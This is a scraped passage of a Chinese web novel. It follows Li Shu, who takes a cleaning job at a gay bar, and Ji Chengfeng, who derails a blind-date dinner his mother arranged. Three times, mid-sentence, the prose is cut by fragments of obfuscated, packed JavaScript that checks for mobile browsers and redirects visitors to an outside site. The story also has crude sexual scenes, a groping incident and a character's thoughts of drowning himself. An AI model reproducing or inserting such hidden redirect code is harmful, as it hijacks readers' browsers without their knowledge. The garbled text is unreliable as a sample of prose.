他小小地吸了口气,选择退让一步:“杨哥,你对我的好,我都记在心里,当时我奶奶生病,是你大半夜背了好几公里把人送去医院的,这事我也忘不了,我是真把你当我亲哥,但……” 李树说到这刻意放缓了语气:“我也有我的想法和打算是不是?我知道杨哥是为了我好,那要不这样,我先在杨哥这里借住,等我发工资有钱了,杨哥就让我搬出去行不行。” 杨哥听到这话眉头才有几分舒展,“小树啊,我就是怕你在外面被人骗,你知道的。” 李树点点头:“嗯,我知道的。” 他背着自己的那个大背包,嘴上应得好好的,身体却不动声色地跟杨哥保持了一点距离。 李树心里有点茫然,杨哥本名杨韦,是跟他从小在一个村里长大的,杨哥比他大八岁,小时候在村里的时候经常带着李树一起玩。 后来杨哥出了村去城里工作了,两人就没怎么见过面了,但是每年过年的时候,虽然杨哥没赚到什么钱,可他总会给李树带点外面的小零嘴。 李树小时候跟他一起玩无疑是很开心的。 后来李树在外地读高中那几年,杨哥在外头混不下去了,就回来一直在村里待着,也是那几年李树的奶奶身体不好,动不动就发病,要不是得了杨哥的照顾和帮忙,李树的奶奶兴许早就死了。 所以李树很感激他,也很信任他,甚至说在这什么都不知道的A城,只有他俩是互相知根知底的。 信任到李树出村的第一份工作就是他介绍的,杨哥当时跟他怎么说来着,工作轻松,坐在办公室里,不用干体力活,也不用天天风里雨里的在外面乱跑,每天就是打打电话,学习一下业务话术,很简单,就是有点业绩压力,但是提成很高啊。 李树怎么也没想到会是传说中的电信诈骗,每一条确实都邪门的符合。 李树落后杨哥半步,他看着前面这个插兜微微弓着背走路的身影,心底突然觉得好陌生,他明明同杨哥也没有几年不见,但是村里的杨哥和A城的杨哥就像换了一个人一样,让他内心不安得很。 杨哥一路领着李树上了六楼。 这儿的门都还是那种最老式的锁,屋里还没进门就扑面而来一股阴冷,李树只觉得那寒气从脚底下直往上冒。 这屋里没什么东西,就一张床、一张桌子,屋里头还有个不算小的卫生间,只是屋里乱糟糟的,很明显这人一个人住都没有怎么打扫过卫生,桌上还放着不知道多久前吃的泡面桶,地上袜子鞋子也甩得到处都是,房间里面到处都是垃圾。 要不是这屋里到处漏风通风好,指不定现在是个什么味呢。 杨哥把床上铺满的衣服掀开一个角,腾出一个能坐下去的空位置,示意李树往这来,“小树,来,坐这,你杨哥我平时忙,抽不出空来收拾房间,你先凑合凑合。” 李树点点头,“杨哥,一会我帮你收拾吧。” 杨哥笑开了花,“那行,那一会我带你去上班的地方看看,晚上再带你去吃点好的!” 李树笑了笑,“好。” 杨哥:“把你包放着,走,哥先带你去吃个饭,晚点去上班的地方瞅瞅。” ………… 纪乘风随便挑了部电影,坐在沙发上有一搭没一搭的看着。 这是部爱情电影,里头正放着男女主在雨中互相表露心意,他们在雨中接吻、抵着额头又哭又笑。 纪乘风觉得有病。 他是真弄不明白,就非得在雨里说话亲嘴么?那一嘴下去不全是天上的雨水,能亲出个什么滋味? 他实在是看不下去把电视给关了。 就在这时,他手机铃声响起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357952|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪乘风拿起来一看,是他弟的电话,现在正是暑假,他弟在家估计玩得不亦乐乎呢。 纪乘风刚接通,对面就咋咋呼呼地喊了一声:“哥!” 差点都给纪乘风耳膜喊破了。 纪乘风皱着眉:“叫魂呢?” 纪乘龙就在那边笑,他说:“哥,你周末怎么不回来啊?我马上都要开学了,还想着说开学之前再跟你见两面呢,要实在不行,我去你那待几天呗。” 纪乘风冷着脸直接拒绝:“别来。” 纪乘龙急了:“为什么啊!你都不想见见你的亲弟弟么?” 纪乘风:“不想。” 他都能想像到,这小子来了之后肯定是往家里的沙发上一躺,然后什么都不干,天天哀嚎着要自己给他点外卖、带他出去玩、给他买这买那的。 不讲卫生、吵得要死、还懒。 纪乘龙还在电话那头追着问:“为什么!为什么!为什么不想啊!” 纪乘风冷漠无情道:“不想养猪。” 纪乘龙在手机那边哀嚎,“哥,你是不是有点太伤我的心了,我是猪,那你是我哥,你不也是猪么?” 纪乘风:“嗯,做你哥,我真的是猪。” 纪乘龙:……怎么感觉拐弯抹角还是在骂他呢。 纪乘龙:“哥,其实是咱妈想你了,他上次跟你打电话,你是不是说得很过分啊?她今天都不敢跟你打电话了,说是怕你拉黑,叫我来联系你,你上次都跟妈说啥了?” 纪乘风如实道:“我叫妈给你找个结婚对象,早点结婚生子,让她当奶奶。” 纪乘龙大喊:“你还是不是我亲哥了!我才十八岁!我自己都还是个孩子呢!” 纪乘风:“多好,年轻的时候生,等小孩长大了还可以跟你做兄弟,你俩到时候一起去网吧,被对面狙了,他还能给你封烟。” 纪乘龙:“哥,你这嘴真的太毒了,你三十岁了都还找不到对象,肯定跟你这张嘴有关系。” 纪乘风:“行了,别放屁了。” 纪乘龙撇了撇嘴,:“哥,你是真不想结婚么?” 他说着说着小小声道:“妈都跟人家姑娘约好,明天上咱们家来吃饭了。” 纪乘风听得太阳穴突突直跳,“我都不回去,她约了人家是打算介绍给你么?” 纪乘龙气死了,“哥,我认真跟你汇报敌情呢!我跟你是一边的!你怎么老是带着我骂。” 纪乘风:“顺嘴的事。” 纪乘龙:……这天真的是聊不下去了! 纪乘风:“继续说吧,到底是个什么情况。” 纪乘龙来脾气了,他哼了两鼻子气,傲娇道:“我不说了。” 纪乘风:“零花钱还想不想要了?” 纪乘龙立马谄媚地连喊了三声:“哥,哥,哥!” 纪乘风:“说。” 纪乘龙:“得嘞!事情是这样的,上次她跟你打电话说相亲的事,你不是拒绝了么?咱妈就想着说,先把人姑娘定下来,再给你做思想工作,所以她打算明天接对方来家里吃饭,就说你是工作忙,抽不开身,后续再想办法撮合你和人家姑娘。” 纪乘风是真的无语了,他想了想说:“那这样吧,我明天还是回去吃饭。” 那边的纪乘龙大喊了一声“我草”,惊得从沙发上蹦了起来,他不确定道:“哥,你不是说你不想结婚、不想相亲的么?那你明天回来是?” 纪乘风微微一笑:“妈特地给我组的相亲局,我当然得回来了。” 12. 暂别2.0 ………… 晚上,李树被杨韦领着去上班的地方报道。 上班的地方离他们住的地方不远,杨韦开摩托车带他也就是七八分钟的事。 杨韦带着他去的地方是一家叫做“蓝调”的酒吧,现在这个点店里还没开门,两个人走的是后门员工通道。 人都还没进去,就听到里头有人跟杨韦打招呼:“呦,韦哥,这个点过来干嘛呢?” 杨韦掀起塑料帘子跟李树一起走了进去。 屋里灯光有些黯淡,除了几个照明的白灯,里头到处都是蓝色的灯光。 打招呼那人看到跟在杨韦身后进来的李树,立马吹了个口哨,嘴里发出意味不明的起哄声,“哎呦,我就说韦哥这个点来干嘛?怎么?带新货过来了?这小孩看着还像个未成年啊。” “去去去。”杨韦挥了挥手把人赶走,十分不客气地把夹在对方耳朵上的烟拿下来抽,“放什么屁呢,这是我弟。” 他说着把李树往前面推了推,跟李树介绍道:“这是高勇,你喊勇哥就行。” 李树乖巧道:“勇哥。” 高勇应了声“诶。”然后从高脚凳上跳下来,他细细地打量着李树,“韦哥,这真是你弟啊?不像啊,你这么糙的人,能有这么可爱的弟弟?这可比咱们这的欢欢长得还好看些。” 李树瞪着一双大眼睛看着他,完全不知道他在说什么。 高勇捂着自己的胸口,满脸夸张道:“哎呦,我都要被萌化了。” 杨韦把高勇推开,“想什么呢?我弟不干这些,我是想给他介绍个正儿八经的工作的。” 高勇觉得好笑:“韦哥你这人有点意思啊,你给你弟介绍正经工作介绍到咱们酒吧来了,这儿什么样子,你心里没点数啊?” 杨韦把嘴里的烟喷到高勇脸上,提着嘴角笑,“我弟放我眼皮子底下比较放心。” 高勇“啧啧”两声,“什么毛病。” 杨韦朝店里面看了两眼:“刘老板呢?我去找他聊聊。” 高勇往里头指了指,“在里面呢,你去吧,好好聊,争取把可爱的弟弟留下来。” 杨韦往前走了两步,李树打算跟着一起过去,却被高勇拦住了。 “弟弟,你就在这待着吧,让你哥去就行。”高勇冲他道。 杨韦回头看了一眼,不明白高勇是什么意思。 高勇:“你弟这样子的给刘老板看到了,你觉得他舍得只给安排正经工作么?” 杨韦皱了一下眉,嘴上说着:“高勇你是不是想太多了。”但转身冲着李树道:“你就留在这吧。” 李树点点头。 等杨韦走了,就剩高勇和李树两个人。 高勇看着乖巧可爱的李树,问他:“弟弟叫什么名字?” “李树,木子李,树木的树。” 高勇点点头,把人当小孩子一样,他从兜里掏出来一颗糖递过去,“多大了?怎么看着年纪还小就出来找工作了?是打暑假工么?” 李树接过糖,礼貌道谢:“谢谢。” 他攥着糖,冲高勇笑了笑:“勇哥,我已经成年了,出来找工作是想赚点钱。” 高勇点点头,没有再多说什么,两人之间一时间有些沉默。 高勇又突然来了一句:“你年纪还小,还是应该多读点书。” 李树看了他一眼,这人看着其实是一副不太好惹的面相,瘦长的脸上颧骨有些突出,细长的眼睛还有些三白眼,一头黄毛长发,唯一露出来的一只耳朵上全都是钉子,实在是不像好人。 可他说的话又让李树觉得很熨帖。 李树也不经话有些多了起来,他亮晶晶地看着高勇:“勇哥,我出来就是给自己赚学费的,等钱攒够了,我就去上学。” 高勇笑了一声,问他:“怎么不让你哥供?大学生出来多体面啊,赚得也多,也不至于做这些工作。” 李树摇摇头,也没把自己和杨韦的关系戳破,只是道:“没关系,攒攒就够了的。” 高勇拍了拍他的肩,“行,反正到时候你在这工作,有什么事情都可以找我,这里圈子乱,一些事你就只当没看见的。” 李树点点头,真心实意地感谢道:“谢谢勇哥。” 高勇摆了摆手,“你在这坐着吧,一会你哥应该就出来了,我先去忙了。” 果真不一会儿,杨韦就从里头出来了。 他走到李树面前,满脸笑容,“小树啊,哥给你搞定了,以后你就负责在这里做服务员,负责上酒、开酒、倒酒之类的,不是很辛苦就是要上夜班,提成也不错,开了好酒都能算你账上。” 李树却很认真地问他:“杨哥,我可以不做这个么?我担心自己做不来,我嘴笨又不聪明,怕惹客人生气。” 杨韦的面色一下子就难看起来,要不是碍于周围还有人肯定立马就要发作了。 李树赶忙解释道:“哥你别生气,我想着我就做个保洁之类的工作,打扫包房、厕所什么的,我可以做这个,钱少一点也没关系,我做着踏实。” 杨韦面色这才缓和几分,他有些不解地问李树:“你这人怎么脑子轴得很,有更赚钱更轻松的工作不干,偏偏要去做保洁?” 李树笑了笑,“哥,我没干过你说的那些,我担心自己做不好,但是打扫卫生我在行的,我心里有底气,你就让我做这个吧。” 杨韦黑着脸,好半响才回了一声:“行。” 李树也高兴了,“那等我发工资了请杨哥吃大餐!” 杨韦嘴里叼着根烟尾巴,哼笑了两声,“都还没开始上班就想着发工资了。” 就这样,李树正式开始在蓝调干保洁了。 从晚上六点开始工作,店还没开门之前就要先把里里外外都打扫一遍,后续只需要打扫厕所和包房,他要一直工作到凌晨三点。 其实凌晨三点这时候酒吧还在营业,只是大概没有什么新的客人上门了,李树也就能下班了。 当天晚上李树熟悉了一下工作环境,高勇事无巨细地跟他介绍。 蓝调是一家gay吧。划重点。 包房和厕所是打泡的重灾区,李树打扫这两个地方的时候尽量避着点人。 李树当天晚上还没转过脑子来,他还不懂避着点人是什么意思,他带着手套口罩老老实实过来打扫卫生。 厕所里有人,他就乖乖拿着拖把站在一旁等着,想等里面的人出来了再进去打扫。 结果没想到,人没等出来,里头就开始传来此起彼伏的叫声。 “嗯……啊……轻点……啊……” “呃,好爽。” 李树一下子从脸红到了耳朵根,他默默背过身去,扣自己的橡胶手套,原来是要这样避着点人啊。 他想自己是不是该出去,等一会再进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357953|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜还没等他提着拖把离开,厕所里的门就被人打开了,里头的两个人就已经完事了。 最先出来的男人见到李树直挺挺地站在门口,尖着嗓子叫了一声:“啊!这家店保洁什么素质!还在这听墙角!” 后面紧跟着出来个啤酒肚,皮带都没有系好,就黏黏糊糊地亲上去:“宝贝,管人家做什么?” 说完那粘腻的眼神落到了李树身上。 李树微微低下头,一副有些抱歉的姿态,侧身给这两人让路。 那啤酒肚路过李树的时候还用咸猪手捏了一把李树的屁股,用气声问他:“听得爽么?要不要试试?” 李树微微一惊,不动声色地后退了一步。 等这两人走了,李树才打开厕所门走进去,他看到那里头墙壁地板上到处都是黄黄白白的液体…… 李树眉头都没皱一下,把橡胶手套一撸到底,勤勤恳恳就开始擦了。 他给自己打气:李树同志!要时刻牢记你的职责和使命! 他把拖把一挥:还厕所一片净土! 哼哧哼哧就开始拖地了。 李树很喜欢收拾房间打扫卫生,以前他还小的时候就跟在奶奶屁股后面,奶奶拖地,他就拿着一块小抹布踉踉跄跄跟在后面走。 小小的人走路都还走不稳就想给奶奶帮忙,矮的地方抹布擦一半,李树衣服擦一半,高的地方他就举起双手,示意要奶奶抱。 奶奶很讲究干净,小小的房子一天要打扫两次,阳光照进来的时候就连光束里都瞧不见灰尘。 在那座小小的房子里,李树就是这样跟着奶奶长大的,他的童年里充满了洗衣粉和皂角的香气,甚至连记忆里的阳光都是带着芬芳的。 李树很变态的觉得,他很喜欢这个味道,是属于奶奶的味道,像家一样让人觉得安心。 ………… 周日一大早,纪乘风收拾得人模人样的提着大包小包回家去了。 纪母看到纪乘风高兴得不行,她这大儿子捯饬一下,不比电视剧里的男演员差,今儿个听说相亲要回来,还把自己好好收拾了一道。 纪母心想,稳了,她老儿子要开窍了,亲都相了,婚还会远么?她都似乎已经看到自己的大胖孙子远远地朝她招手了。 纪乘风从车上下来,手里提着买回来的东西。 纪母喜笑颜开:“乘风啊,回来就好,快进去吧,人姑娘已经在屋里等你了,一会就开饭。” 她说着压低了声音同纪乘风介绍姑娘的情况,“这小姑娘叫余琴,身高有一米六八,长得特别水灵,妈保证你看了会喜欢!” 纪乘风微微一笑,没搭她这话,反倒是问了一句:“乘龙呢?” 纪母就朝屋里嚎了一嗓子:“纪乘龙!出来给你哥拿东西!” 纪乘龙忙不迭从屋里滚了出来,一副讨好嘴脸地冲纪乘风笑。 身后还跟着纪母说的那个水灵的小姑娘。 纪乘龙伸手打算接过纪乘风手里的袋子,“哥,我来我来。” 纪乘风深深地看了他一眼,用一种很深沉的、略有深意的眼光看着他。 纪乘龙被他这眼神看得有些发毛,伸过去接袋子的手也愣住了。 余琴见到了人,想着自己是不是应该打声招呼,她刚踏出来一步,就看到纪乘风把纪乘龙的手牵起来了。 纪乘风宠溺道:“别闹,怎么舍得让你提。” 13. 相亲局 纪乘龙整个人像是被麻痹了一样,那被纪乘风牵着的手像是碰到了什么不该碰的东西,浑身刺挠,让他恨不得立马抽出来,哪哪都不得劲。 余琴瞬间瞪大了眼睛,到嘴的话都咽下去了,不对劲! 纪母也微微一愣,心底狐疑,这两啥时候关系这么好了? 可惜纪乘风握得很紧。 纪乘龙刚想喊,要纪乘风把手松开,他转头就被纪乘风瞪了一眼。 纪乘龙怂了。 他就这样乖乖地被纪乘风牵了进去,甚至被牵到了纪乘风旁边坐着。 余琴和纪母两人站在旁边看着他俩。 纪乘风翘着二郎腿,浑不在意和纪乘龙还牵在一起的手,朝她们两人示意,“坐啊。” 两人都有些尴尬地坐下来,气氛一时间有些诡异。 纪母笑着打圆场,“余琴啊,乘风平日里难得回一趟家,这回是听说你来了,才回来的,我想见他一面都不容易。” 纪乘风顺着她的话说:“是啊,我工作忙,经常要加班,很少回来。” 纪母松了口气,幸好这小子没给她整什么幺蛾子。 这口气还没松完,就听到纪乘风对着纪乘龙说:“我没回来这段时间,也好久没见你了。” 他说着还把对方被自己牵着的手拉过来,放到自己的腿上,细细地摩挲,又用那种很恶心很恶心的眼神看着纪乘龙,微微失落道:“你现在已经长大了,不黏哥哥了,哥哥不回来,你也不想着去哥哥那看看,小龙是不是在怪哥哥太忙了?没有时间陪着你?” 纪乘龙像是吃了苍蝇一样瞪大眼睛,不是?他请问呢? 昨天是谁在电话里骂他是猪来着?攻击力强到没边,直接辱骂了,今天这是怎么回事? 纪乘龙已经从一开始的震惊转变为害怕了。 他哥是不是最近工作压力太大,人格分裂了啊? 余琴在一旁尴尬地笑着附和:“两兄弟……关系真好……” 纪母也尴尬笑了两声,开始拿不准纪乘风到底想干嘛。 纪乘风还在那继续道:“是啊,怎么会关系不好呢?我从小看着长大的弟弟,跟我睡一张床的小孩,我最……” 他说到这垂下眼,意犹未尽的语气里,带了点不可言说的遗憾,像是后面的词是他说不出口、也不能说出口的。 纪乘风确实是有点说不出口,自己都把自己恶心到了。 他说这话的时候不能看纪乘龙的脸,他怕自己看到这张脸就会忍不住刻薄。 纪乘龙坐在他旁边已经老僧入定,瞳孔放空了,他现在什么都不敢想,也不敢忤逆他哥,纯纯是个空心人。 纪母脸色有几分难看,她起身招呼余琴,“先去吃饭吧,阿姨做了你最喜欢吃的糖醋排骨。” 余琴这才松了口气,“谢谢阿姨。” 等这两人离开客厅,纪乘龙才敢转头颤抖着喊了纪乘风一声:“哥……” 试图唤醒纪乘风的理智,他俩可是亲兄弟啊!同一个爸同一个妈的亲兄弟啊! 纪乘风狠狠地皱眉:“闭嘴。” 纪乘龙松了口气,浑身舒坦了,这才是他亲哥啊。 纪乘风告诫他:“一会你什么话都别说,就老实吃你的饭,不老实你零花钱就没了。” 纪乘龙疯狂点头,没办法,人为财死,只要钱到位,他也不是不可以做他哥口中“感情深厚”的弟弟。 等吃饭的时候,纪母本来有意还想安排余琴坐在纪乘风旁边,但奈何纪乘龙坐在纪乘风边上纹丝不动。 气得纪母踹了纪乘龙椅子一下,嫌这人没点眼力见。 吃饭的时候,纪母笑眯眯地给余琴夹菜,夸她:“小琴啊,多吃点,你看你长得漂亮、能力又强、家里情况更别说了,这么好的姑娘,我家乘风真的是捡到宝了!” 余琴被夸得有些不好意思,她偷偷觑了纪乘风一眼,对方干净斯文是非常俊朗的长相,很对余琴的胃口,她微微红着脸说:“阿姨,乘风……也很优秀的。” 纪母听到余琴喊“乘风”,笑得更加开怀了,她觉得势头很好,今儿这个饭局真是没组错,她这老大不小的儿子,虽然……那啥有点问题,但是单从外表上来看还是能见人的。 有戏。 纪乘风看都没看她俩,明明聊的是跟自己相关的,他面无表情,就跟没听到似的。 他剥了两只虾放到纪乘龙碗里,又往纪乘龙碗里夹了一筷子青菜,“别挑食,青菜也要吃。” 纪乘龙点头如捣蒜,纪乘风给他夹啥,他就吃啥,那架势就跟饿了八百年一样,风卷残云、饿虎扑食,生怕自己吃慢点,他哥就觉得他表现不好了。 纪乘风摸了摸他头,满是怜爱:“慢点吃,没有人跟你抢,都多大人了。” 他手剥了虾还没擦干净,全撸纪乘龙脑袋上了,撸完还有点后悔,他的手未必比这小子的头油。 余琴看着这一幕目瞪口呆,她已经忘记吃饭了,光顾着看他俩的互动。 纪母气得不行,她把筷子往桌上一拍:“纪乘风,你管你弟干嘛,好好吃你的饭。” 纪乘风听到这话慢条斯理地擦了一下手,话里有话道:“妈,我不管他还能管谁?” 纪母:?他在说什么啊? 纪母:“你今天是怎么回事!你弟都多大了!他自己又不是没长手,让他自己吃,人小琴好不容易来我们家一趟,你赶紧给剥两只虾!” 纪乘风一顿,面露痛苦道:“妈,一定要这样么?” 吓得一旁的余琴连连摆手,只差站起来了,“阿姨!阿姨!不用了,真的不用了,我也不是很喜欢吃虾,不用要乘风特地给我剥的,我……我喜欢吃排骨!” 她说着还生怕纪母会要纪乘风给自己夹,连忙自己先夹了两筷子,“我自己来,自己来。” 纪母气得不知道该说什么好,这局组了又好像没组的,这两人到现在还没说上过一句话。 纪乘风还嫌不够似的,他伸手去擦纪乘龙嘴边的油渍,“怎么这么大了还吃东西吃得到处都是?” 擦完转手就抹到了纪乘龙的衣服上。 纪乘龙缓缓地瞪大了眼睛,整个人愣在原地,一动也不敢动。 余琴也看得眉头都挑了起来,漂亮小巧的嘴巴张成了一个O字。 纪母彻底憋不住火了,她怒道:“纪乘风!你是不是故意找茬!!” 纪乘风看向她,那双狭长的眼睛里带着点冷意,说的话却不咸不淡的,“我对我弟弟好就是找茬呢?” 纪母说不过他,但也知道这小子今天故意整这么一出就是做给自己看的,她气不顺,实在是想骂纪乘风两句。 “阿姨!”余琴突然站起来,“我觉得这样很好啊!哥哥照顾弟弟,弟弟尊重哥哥,兄友弟恭!这代表着您教育得很好啊!两兄弟都是这样的优秀!多好的兄弟情啊!” 纪母瞬间噎住了,一时间被余琴夸得有些晕头转向的。 纪乘龙略微松了口气,他还真不知道要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357954|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己老妈和老哥在这种情况下吵起来了,他到底该怎么办。 一场风波短暂平息,后半段所有人都老老实实吃饭,没有人再作妖了。 余琴见时间差不多,就提出该回去了。 纪乘风起身:“我送你吧。” 余琴连连摆手想要拒绝。 纪乘风:“走吧,送送你,挺快的。” 余琴这才把拒绝的话咽下去。 纪乘风觉得也挺对不起人家姑娘的,到了试婚的年龄相亲是一件再正常不过的事,只是他妈有点神,相亲这种事,竟然还能跳过自己儿子下场。 实在是让纪乘风不爽。 等开车把人姑娘送到门口,纪乘风敲着方向盘,没忍住从车窗里探出头来冲对方道:“余小姐,我还是想说一下今天的事。” 余琴立马道:“我懂!我都懂!” 余琴微微弓着身子,满脸激动地朝纪乘风说:“乘风!你一定要相信!真爱隔山海,山海皆可平!性别不是问题!伦理也不是问题!真爱无敌!” 余琴冲他做了一个打气的动作,“加油!”说完转身一溜烟进屋了。 纪乘风莫名其妙被鼓励了一顿。 他有些好笑,刚把探出去的身子收回去,就看到手机上他弟给他发了一条微信。 【家里养的猪】:哥,你对今天这个姐姐啥印象啊? 纪乘风想了想,回了句:挺文艺的。 【家里养的猪】:(疑惑脸) 【家里养的猪】:哥,你要不直接回去算了,别过来了,妈看起来挺生气的。 【风】:行。 【风】:转账1000(挨骂费) 【家里养的猪】:(亲亲脸)哥,我受你一靠子。 【风】:。 纪乘风漫无目的开车,也没急着回去,他把车开到临近的海边,人没下车,就坐在车里抽烟。 他夹着烟的手搭在车窗上,望着外面一片蔚蓝的大海。 沙滩上有许多出来游玩的一家人,他们带着小孩在海边挖沙,浪朝他们扑过来,就会换来他们一声声兴奋的惊呼。 海浪扑打在岸边的声音带着天然的疗愈感。 但纪乘风不敢下车去感受一下。 他怕自己控制不住自己,会想溺死在那海水里。 实在是看起来太享受了,感觉掉进去,都会被温暖包裹。也算是享福了。 纪乘风今年已经三十岁出头,老大不小了,他也能理解他妈妈着急催婚这事。 但纪乘风做不到。 他看着那沙滩上三五成群的人,大多数都是一家人结伴出行。 要说不羡慕是假的。 他不是不婚主义者,也不是严格意义上的丁克,他就是一个普通人,再普通不过的人。 他也会贪恋家的温度、爱人的体温、饭菜的热气……甚至说他这种没办法自己有温度的人,更贪恋这些。 可纪乘风痛苦挣扎的根源点在于,他确实不会爱人,他维系不了一段稳定的恋爱关系,他无法保证自己能对对方负责。 短暂几面的虚伪他能够营造,但是长久的呢? 他实在是对自己没有信心。 他甚至觉得自己兴许对自己未来的另一半都很难有欲望…… 纪乘风想来想去,觉得他这种人这辈子也就这样了。 以后要真活不下去,他就找个最温暖的海跳下去算了。 纪乘风抽完烟,又打着方向盘离开了。 14. 糖果和辣椒酱 ………… 凌晨三点李树准备下班,他收拾好要离开的时候,被高勇叫住了。 “弟弟?一个人回去呢?”高勇问他。 李树点点头,“勇哥,你还不下班呀?” 高勇就一脸哭丧的表情,“这不是还没到点么,走不了。” 高勇是这家酒吧的驻唱歌手,说是歌手,其实也算半个陪酒,反正开了酒的提成也算他的。 有人点歌的时候他就唱歌,没人点歌的时候他就陪酒,在蓝调里混得很开。 高勇往店外面看了看:“你哥没来接你?” 李树笑了笑:“几步路的事,勇哥,我先走了啊!” 高勇:“路上注意安全。” 李树点点头,揣着他那砖块一样邦硬的老人机就出去了。 其实大城市的夜里到处都是灯火通明的,走夜路也不算啥,只是回去巷子里那一段路,实在是黑,暗无天日的,有些瘆人。 这时候李树的老人机就发挥大作用了! 他掏出板砖,打开了手电筒,瞬间亮如白昼。 李树莫名骄傲,看谁还瞧不上他的老人机了!别的手机能有他这么亮么! 这谁还分得清到底是天亮了,还是他手机灯亮了。 李树为了壮胆,还哼起了歌,又是他在纪乘风家做饭唱的那个不着调的曲子,他就这样踏着巷子里的一地污水走了回去。 李树用杨韦留给他的备用钥匙开了门,屋里黑漆漆的,也没有个声响。 他打开灯,屋里没人,李树莫名松了口气。 李树去包里拿了换洗的衣服准备去厕所洗澡。 陈年老房子了,厕所地板上全是黄色的水垢,墙壁上也泛黄,一进去里头还有股经久不散的湿味,就是那种湿了的衣物不是晾晒干而是被阴干的臭味。 这些都还好,最让李树没办法接受的是…… 李树看着厕所门上那个已经生锈脱落的锁环陷入了沉思。 这厕所没办法锁门。 李树秀气的眉毛拧在一起,觉得实在是难办,等抽空了要去买个栓子,重新装上。 厕所没有锁怎么能行呢。 李树脱了衣服洗澡的时候还在心里庆幸,还好杨哥不在。 那热水器也是老古董了,等了好半天才把热水送上来,一开始热得很,温度能够烫皮,洗了两下,又变成了冷水,怎么烧都烧不热了。 李树只好就着冷水洗澡。 李树很白,浑身上下还带着一点薄薄的软肉,毛巾擦过去,用了点劲都能泛起红色。 他擦完上半身,动作顿了顿,竖着耳朵听外面有没有什么声音,他担心杨哥会突然回来。 等确定外面没人之后,他这才把毛巾伸进双腿之间。 李树有个秘密。 李树从小就和别的男孩子不一样,男孩子有的东西他都有。 但他比别的男孩子多了一朵脆弱、可怜又柔软的小花。 他小时候不懂事,跟那些熊孩子比谁尿尿尿得更远,李树当时脱了裤子就要跟那些小屁孩们一决高下。 只可惜比尿先来的是奶奶的巴掌。 那是李树的奶奶第一次打他,小小年纪的李树什么都不懂,只觉得是奶奶不爱他了,凭什么别的小孩能脱裤子,他就不能了。 他肯定能比别的小孩尿得更远。 那天他趴在奶奶膝盖上哭了一下午,眼泪珠子就没断过。 奶奶就一下一下替他抚背,说他把自己老寒腿都哭出来了。 也就是从那时起,李树才意识到自己双腿之间,这朵柔软温热的小花是个什么东西。 是不能够被别人发现的秘密。 奶奶告诉李树,那处要好好洗干净,不然会生病的,内裤也要勤洗勤换,生病就麻烦了。 李树牢记于心,甚至在诈骗公司里头不让天天洗澡的时候,他还天天深更半夜偷摸出去洗内裤,弄得别人以为他年轻、气血旺盛,天天搁被子里撸呢。 等李树好不容易洗完澡躺在冷硬的床上,反倒是有些睡不着了。 他爬起来想把背包里的东西清一清,打算白天去超市里买点东西。 他清着清着突然就觉得有点不太对劲,他这个包的内侧口袋里是不是有点太鼓了,这个兜里,他向来只放身份证和手机的。 李树拧着眉伸手进去,然后掏出了一把山楂棒…… 李树诧异地眨了眨眼,又掏了一把,这回是巧克力脆皮糖加蛋黄小饼干。 那内侧兜里满满一兜的全都是小零食。 李树的嘴角忍不住翘起来,他知道是谁放的。 明明已经刷过牙了,但李树还是忍不住剥了一个巧克力脆皮糖放进嘴里。 甜甜的巧克力带了一点些微的苦涩,在李树口腔中蔓延开来,一口咬下去,里头还带着流心的巧克力酱。 很好吃。 李树笑弯了眼,他拿出手机很想再给纪乘风发点什么,可等他打开短信界面,上一封他发给纪乘风的消息,对方都还没有回复。 李树撇了撇嘴,把嘴里的巧克力糖咬得嘎嘣脆,他又看了看手机上的时间,现在是凌晨四点多。 纪先生应该在睡觉。 李树才把手机收了回去,时候不早了,他也应该休息才是。 他咂巴了两下嘴,回味那颗巧克力糖的味道,他想一会做梦,估计梦里都是甜的。 ………… 周一。 纪乘风双眼无神地灌了口咖啡,那个傻逼还天天盯着要在微信群里报数据、报业绩。 恨不得他们一天天放款个千把亿。 晚上还不知道开会要开到几点。 想死。 纪乘风觉得脑袋有点疼,他复盘了一下,也就昨天开车在海边上吹了会风,还真是年纪大了,身体素质不行了,就这两下脑袋就开始疼起来了。 他舒了口气,想着说要是下班早就去药店买个药。 张强走到纪乘风旁边,幽幽道:“风啊,你说今天十点前能下班么?” 纪乘风:“不好说,听说那个傻逼今天投屏了十个PPT,全都是要讲的。” 张强欲哭无泪了,“我女儿今天还说等着我回去切蛋糕呢。” 纪乘风转头看他:“今天你姑娘生日?” 张强点点头,“是啊,真快,都已经六岁了,感觉之前还抱在手里呢。” 纪乘风拍了拍他,“估计切蛋糕没戏 